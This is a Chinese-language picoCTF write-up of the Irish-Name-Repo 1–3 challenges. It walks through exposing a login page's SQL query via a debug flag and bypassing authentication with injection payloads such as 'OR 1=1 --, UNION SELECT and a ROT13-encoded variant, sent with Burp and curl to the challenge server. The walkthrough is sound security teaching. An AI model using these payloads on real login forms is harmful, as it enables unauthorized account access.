---
# System prepended metadata

title: PicoCTF Irish-Name-Repo 三部曲 writeup

---

## 首頁(其他picoCTF writeup)
https://hackmd.io/@sunfrancis12/ry_LLAgp3

作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12
## Irish-Name-Repo 1
這題十分簡單，屬於基礎的SQL injection

近來網站後逛一逛，看到Login Admin，點擊後就進到這裡了

![](https://hackmd.io/_uploads/Hkqk3Sh6n.png)

隨便登入後，出現了以下畫面

![](https://hackmd.io/_uploads/BJ14hrhT2.png)

打開Burp，把interprect功能打開，再試著重新登入一次

攔截到的封包內容如下:
```
POST /problem/39720/login.php HTTP/1.1
Host: jupiter.challenges.picoctf.org
Content-Length: 31
Cache-Control: max-age=0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://jupiter.challenges.picoctf.org
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://jupiter.challenges.picoctf.org/problem/39720/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

username=sd&password=sd&debug=0
```

可以看到body的部分，有我們想要的訊息
```
username=sd&password=sd&debug=0
```

我們修改body內容中的`debug`，並繼續送出
```
username=sd&password=sd&debug=1
```

網站內容如下:

![](https://hackmd.io/_uploads/ryNk2Vnph.png)

其中的錯誤訊息顯示了他用來查詢資料庫的SQL指令
```
SQL query: SELECT * FROM users WHERE name='sd' AND password='sd'
```

我們就可以做SQL injection了，`username`輸入如下`password`隨便輸入
```
'OR 1=1 -- 
```
![](https://hackmd.io/_uploads/SJgLc9r263.png)

伺服器端看到的結果為:
```
SQL query: SELECT * FROM users WHERE name=''OR 1=1 -- ' AND password='sd'
```

登入後就拿到flag了

### 補充:除了'OR 1=1以外的用法
除了上述方法外，也有其他SQL injection的用法
```
*以下符號都能當作註解使用
'OR 1=1 -- 
'OR 1=1 /*
'OR 1=1; 
```
也可以用`UNION`來操作:
```
' UNION SELECT * FROM users ;
```

### UNION
`UNION`是SQL的運算子，代表聯集，來將兩個(以上) SQL 查詢結果合併起來

我們可以利用`UNION`來聯集其他可以回傳表格的SQL查詢，讓SQL查詢有回傳東西，藉此通過伺服器驗證

但是再使用UNION前，必須知道先知道`TABE`和`Column`的名字

假設我們有一個SQL TABLE`users`:


### Table: users 
| user     | password |
| -------- | -------- |
| guest    | guest    |
| admin    | admin    |
| king     | king     |

我們使用以下指令進行搜尋
```
SELECT * FROM users WHERE user='guest'
```
搜尋結果:
| user     | password |
| -------- | -------- |
| guest    | guest    |

我們使用`UNION`將兩筆搜尋結果聯集
```
SELECT * FROM users WHERE user='guest' UNION SELECT * FROM users WHERE user='king'
```
回傳結果:
| user     | password |
| -------- | -------- |
| guest    | guest    |
| king     | king     |

我們回到題目，如果對我們剛剛的TABLE做查詢
```
SELECT * FROM users WHERE user=''UNION SELECT * FROM users; ' AND password='sd'
```
會回傳以下結果

| user     | password |
| -------- | -------- |
| guest    | guest    |
| admin    | admin    |
| king     | king     |

## Irish-Name-Repo 2

我們試試看第一題可行的方法，發現他會偵測出SQL injection

![](https://hackmd.io/_uploads/SyVrlY262.png)

我們再`username`輸入
```
admin';
```
![](https://hackmd.io/_uploads/Bkm3xKhp2.png)

伺服器端看到的指令如下:
```
SELECT * FROM users WHERE name='admin';' AND password='sd'
```

代表如果有找到`name` = `admin`的話，就會回傳一個表格

登入後即可拿到flag

## Irish-Name-Repo 3

其實第三題跟SQL injection沒什麼太大關係

我們先隨便輸入登入

由於密碼會被屏蔽，所以這裡我用curl的方式來進行，讓大家看的到我輸入的內容

```
"password=sd&debug=1"
```
完整指令如下:
```
curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password=sd&debug=1"
```
回傳的結果:
```
<pre>password: sd
SQL query: SELECT * FROM admin where password = 'fq'
</pre><h1>Login failed.</h1>
```

可以看到我們輸入的`password`是sd但是錯誤訊息顯示的卻是fq，代表我們輸入的內容應該經過某種加密

我們換輸入fq，得到的結果是sd，代表他的加密方式應該是將英文字母倆倆對調
```
<pre>password: fq
SQL query: SELECT * FROM admin where password = 'sd'
```

我們試著輸入or，得到結果be
```
<pre>password: or
SQL query: SELECT * FROM admin where password = 'be'
```

我們再輸入以下內容:
```
'be 1=1 -- 
```
curl指令如下:
```
 curl -X POST https://jupiter.challenges.picoctf.org/problem/29132/login.php --data "password='be 1=1 --&debug=1"
```

完成後即可看到flag